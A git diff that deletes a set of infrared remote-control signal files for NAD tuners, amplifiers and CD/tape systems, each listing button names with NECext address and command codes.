b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir deleted file mode 100644 index d70d11c84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD_DISK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 20 00 00 00 -# -name: TUNER_BANK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: DECKA_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: DECKA_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: DECKA_REV_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 54 00 00 00 -# -name: DECKA_REC/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: DECKA_FF_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: DECKA_REW_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: MASTER_VOLUME_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: MASTER_VOLUME_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: DECKB_REC/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: DECKB_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: DECKB_FF_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: DECKB_REW_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: DECKB_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CC 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CD 00 00 00 -# -name: SRND_CENTER_VOL_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D0 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: SRND_CENTER_VOL_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D5 00 00 00 -# -name: SRND_REAR_VOL_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D6 00 00 00 -# -name: SRND_REAR_VOL_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D7 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DA 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 -# -name: DECKB_REV_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir deleted file mode 100644 index 9f272aa2e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 03 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 10 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 11 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 12 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 13 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 16 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: TUNER_BANK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4B 00 00 00 -# -name: DECKA_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: DECKA_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: DECKA_REV_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 54 00 00 00 -# -name: DECKA_REC/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: DECKA_FF_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: DECKA_REW_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: TUNER_SEARCH_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 86 00 00 00 -# -name: TUNER_SEARCH_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 87 00 00 00 -# -name: MASTER_VOLUME_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: MASTER_VOLUME_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: DECKB_REC/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9B 00 00 00 -# -name: DECKB_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: DECKB_FF_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: DECKB_REW_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: DECKB_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: TUNER_TUNE_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D3 00 00 00 -# -name: TUNER_TUNE_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D4 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 -# -name: DECKB_REV_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir deleted file mode 100644 index e784c707a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-PlayPause -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD-Previous -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD-Next -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD-Disc -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: Tuner-Bank -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 25 00 00 00 -# -name: CD-Pause -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: TapeA-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: TapeA-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: TapeA-Rev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 54 00 00 00 -# -name: TapeA-Record -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: TapeA-FastForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: TapeA-Rewind -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: Input-TunerFM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: Input-TunerAM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: Input-CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: Input-Disc -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: Input-Tape1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: Input-Tape2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: TapeB-Record -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: Input-Aux -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9B 00 00 00 -# -name: TapeB-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: TapeB-FastForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: TapeB-Rewind -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: TapeB-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: Input-Video2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: Input-Video3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C1 00 00 00 -# -name: Input-Video1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C8 00 00 00 -# -name: Speakers-A -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CE 00 00 00 -# -name: Speakers-B -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CF 00 00 00 -# -name: Tuner-PresetLeft -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: Tuner-PresetRight -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: TapeB-Rev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir deleted file mode 100644 index c988ecf5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: SKIP_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SCAN_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SCAN_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir deleted file mode 100644 index da1e6798d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 03 00 00 00 -# -name: ScanBack -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: ScanForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 08 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0A 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 11 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 13 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4C 00 00 00 -# -name: Add10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir deleted file mode 100644 index 01d08e0f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir +++ /dev/null @@ -1,368 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cd-play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: cd-stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: cd-scan-rev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: cd-prev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: cd-next -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: cd-scan-fwd -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: disp-info -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 08 00 00 00 -# -name: cd-disp-info -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 08 00 00 00 -# -name: rpt -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0A 00 00 00 -# -name: cd-rpt -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0A 00 00 00 -# -name: cd-1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0C 00 00 00 -# -name: cd-2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0D 00 00 00 -# -name: cd-3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0E 00 00 00 -# -name: cd-4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0F 00 00 00 -# -name: cd-5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 10 00 00 00 -# -name: cd-6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 11 00 00 00 -# -name: cd-7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 12 00 00 00 -# -name: cd-8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 13 00 00 00 -# -name: cd-9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 15 00 00 00 -# -name: cd-0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 16 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 25 00 00 00 -# -name: tuner-disp-info -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 26 00 00 00 -# -name: tuner-blend -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 35 00 00 00 -# -name: tuner-fm-mute -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 37 00 00 00 -# -name: cd-eject -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 48 00 00 00 -# -name: cd-pause -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: cd-10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4C 00 00 00 -# -name: cd-+10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: disc -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: tuner-1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8A 00 00 00 -# -name: tuner-5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: tape-mon -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: tuner-2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8E 00 00 00 -# -name: tuner-6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8F 00 00 00 -# -name: tape2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: tuner-3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 92 00 00 00 -# -name: tuner-7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 93 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: tuner-4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 96 00 00 00 -# -name: tuner-8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 97 00 00 00 -# -name: tuner-9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 98 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C1 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: tuner-enter -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C5 00 00 00 -# -name: tuner-0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C7 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C8 00 00 00 -# -name: spk-a -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CE 00 00 00 -# -name: spk-b -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CF 00 00 00 -# -name: tuner-preset-down -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: tuner-preset-up -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: tuner-tune-left -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D3 00 00 00 -# -name: tuner-tune-right -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D4 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 -# -name: tuner-am-fm-dab -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 -# -name: tuner-10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: F2 00 00 00 -# -name: tuner-+10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir deleted file mode 100644 index bb0635018..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-Pause -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD-Previous -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD-Next -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD-Disc -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: Tuner-Bank -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: TapeA-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: TapeA-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: TapeA-Rev -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 54 00 00 00 -# -name: TapeA-Record -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: TapeA-FastForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: TapeA-Rewind -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: Input-TunerFM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: Input-TunerAM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: Input-CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: Tuner-SearchDown -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 86 00 00 00 -# -name: Tuner-SearchUp -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 87 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: Input-Phono -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: Input-Tape1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: Input-Tape2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: TapeB-Record -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: Input-Aux -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9B 00 00 00 -# -name: TapeB-Play -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: TapeB-FastForward -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: TapeB-Rewind -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: TapeB-Stop -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: Input-VCR1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: Input-LD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 